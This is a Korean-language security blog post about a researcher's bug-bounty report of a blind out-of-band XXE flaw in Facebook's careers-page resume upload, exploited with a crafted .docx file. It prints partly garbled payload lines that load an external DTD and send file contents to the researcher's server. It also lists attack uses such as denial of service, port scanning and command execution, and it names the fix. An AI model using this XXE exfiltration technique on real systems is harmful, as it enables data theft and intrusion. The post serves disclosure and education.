보안 연구 · 3 min read · Nov 23, 2025

워드 문서에 XML 페이로드를 주입하여 페이스북 해킹하기

Table Of Contents

  • 위조된 마이크로소프트 워드 문서를 이용한 페이스북 해킹
  • 알려진 취약점
  • 여파
  • 받은 보상

위조된 마이크로소프트 워드 문서를 이용한 페이스북 해킹

모하메드 라마단(Mohamed Ramadan)이라는 화이트 해트 보안 연구원이 위조된 마이크로소프트 워드 .docx 파일을 사용하여 사용자가 페이스북을 제어할 수 있는 치명적인 취약점을 발견했습니다.

라마단은 구글, 페이스북, 트위터, 마이크로소프트 등 주요 서비스 제공업체에서 취약점을 성공적으로 찾아내었으며, 이들로부터 버그 바운티 보상을 받았습니다.

알려진 취약점

페이스북이 세계에서 가장 안전한 서버를 가지고 있지 않다는 것은 잘 알려진 사실입니다. 많은 사람들이 2010년 이후로 높은 심각도의 버그를 보고했으며, 소셜 네트워크는 2013년 말 OpenID에 영향을 미치는 위험한 XXE 취약점을 패치했습니다. XXE(XML External Entity)는 약한 XML 파싱 메커니즘을 악용하는 방법입니다. 이 공격은 기밀 데이터의 노출, 서비스 거부, 파서가 위치한 머신의 관점에서 포트 스캐닝 및 기타 시스템 영향을 초래할 수 있습니다. 이러한 수정 사항에 대한 자세한 내용은 여기에서 읽을 수 있습니다.

페이스북은 모든 서버를 수정했다고 밝혔으므로 또 다른 XXE 취약점을 찾는 것은 매우 불가능해 보였습니다. 그럼에도 불구하고 라마단은 그의 탐구를 계속하기로 결정했습니다. 몇 가지 조사를 한 후, 그는 페이스북의 경력 페이지 https://www.facebook.com/careers/에 도달했습니다. 그는 자신의 이력서를 페이스북에 성공적으로 업로드했지만, PDF 또는 .DOCX 형식의 파일만 업로드할 수 있다는 것을 깨달았습니다. .docx 파일 형식은 기본적으로 마이크로소프트가 개발한 압축된 xml 파일이며, 라마단은 페이스북의 보안 시스템에서 허점을 발견했습니다. 그는 위조된 마이크로소프트 워드 문서로 가짜 이력서를 작성하고 페이스북 경력 웹 페이지에 업로드했습니다.

그는 다음 코드를 포함한 XML 파일을 만들었습니다.

DOCTYPE root [ dtd SYSTEM “https://197.37.102.90/ext.dtd”> %dtd; %send; ]]>

이제 그는 위조된 이력서를 준비했습니다. 그는 자신의 로컬 머신에서 파이썬으로 HTTP 서버를 실행하기 시작했습니다. 그는 mohaab007 디렉토리에 ext.dtd라는 파일을 만들었고, ext.dtd의 내용은 다음과 같습니다:

https://197.37.102.90/FACEBOOK-HACKED?%25file;’>” > %all;

위조된 워드 CV를 업로드한 후, 그는 페이스북 웹사이트의 응답을 기다렸습니다. 그의 블로그에서 그는 다음과 같이 말합니다:

“이제 모든 것이 좋고, 나는 CV.docx를 https://www.facebook.com/careers/에 업로드하고 1분을 기다렸지만 아무 일도 일어나지 않았습니다. 나는 이것이 완전한 실패라고 스스로에게 말했고, 대신 내 페이스북 프로필을 확인하고 친구들과 채팅하고 게임을 하거나 뭔가를 하기로 했습니다. 이 긴 실패한 시도 후에 약 15분 정도 채팅하고 브라우징을 하다가 이제 파이썬 HTTP 서버를 중지하고 페이스북과 모든 것을 닫을 시간입니다. 나는 내 터미널 창을 닫으려 했고, 내 파이썬 HTTP 서버에 연결된 무언가를 보고 충격을 받았습니다.”

그는 페이스북 서버를 속여 자신의 서버에 연결하도록 성공적으로 만들었습니다. 그의 말에 따르면, 그는 이제 이 연결을 이용하여 다음과 같은 작업을 수행할 수 있었습니다:

  • 파일을 열어 파싱 시스템을 DoS시키기, 예: file:///dev/random | file:///dev/urandom | file://c:/con/con

  • HTTP 외부 엔티티를 사용한 TCP 스캔 (애플리케이션 서버가 공격자의 관점과 다른 세계관을 가지고 있기 때문에 방화벽 뒤에서도 가능)

  • 파싱 시스템 파일 시스템에 저장된 XML 파일의 데이터에 대한 무단 접근 (물론 공격자는 여전히 이러한 데이터를 되찾을 방법이 필요함)

  • 다른 시스템에 대한 DoS (파싱 시스템이 다른 시스템에 TCP 연결을 설정할 수 있는 경우)

  • 공격자가 제어하는 시스템에 대한 UNC 파일 접근을 시작하여 NTLM 인증 자료 도용 (너무 먼가?)

  • 종말 시나리오: 이 공격에 취약한 널리 배포되고 고도로 연결된 애플리케이션이 DDoS에 사용될 수 있음.

  • 디렉토리 목록, 시스템 및 애플리케이션 파일 읽기 및 경우에 따라 php expect:// 래퍼를 사용하여 시스템 명령 실행.

여파

그는 서버의 시스템 파일에 접근하려고 했지만, 보안 메커니즘 때문에 접근에 실패했습니다. 그러나 그는 자신이 성공적으로 수행한 공격이 블라인드 XXE OOB(Out Of Band)이며, 결과를 기다리기 위해 15분 이상 업로드해야 했기 때문에 시간이 많이 소요되는 과정이었다고 확신했습니다. 더 이상 지체하지 않고, 그는 자신의 발견을 소셜 네트워크에 알렸습니다. 그의 발견은 처음에는 다음과 같은 말로 즉각 거부되었습니다.

보안 연구원이 워드 문서에 XML 페이로드를 주입하여 페이스북 해킹

그는 페이스북 보안 팀에 위조된 CV를 보내며 응답했고, 페이스북은 다음과 같은 답변을 보냈습니다:

보안 연구원이 워드 문서에 XML 페이로드를 주입하여 페이스북 해킹

그는 여전히 만족하지 않았고 페이스북 보안 팀과의 소통을 계속했으며, 결국 그들은 파일 업로드 메커니즘의 취약성을 인식하게 되었습니다.

보안 연구원이 워드 문서에 XML 페이로드를 주입하여 페이스북 해킹

받은 보상

페이스북은 취약성을 인정하고, 정책에 따라 라마단에게 그의 연구에 대한 보상을 주었습니다. 그들은 다음 코드를 추가하여 취약점을 수정했습니다:

libxml_disable_entity_loader(true)

다음은 라마단이 페이스북의 취약성을 보여주기 위해 유튜브에 업로드한 PoC 비디오입니다.

Resource : Attack Secure

Share: X/Twitter LinkedIn

새 게시물을 받은 편지함에서 받기

스팸은 없습니다. 언제든지 구독 해지 가능합니다.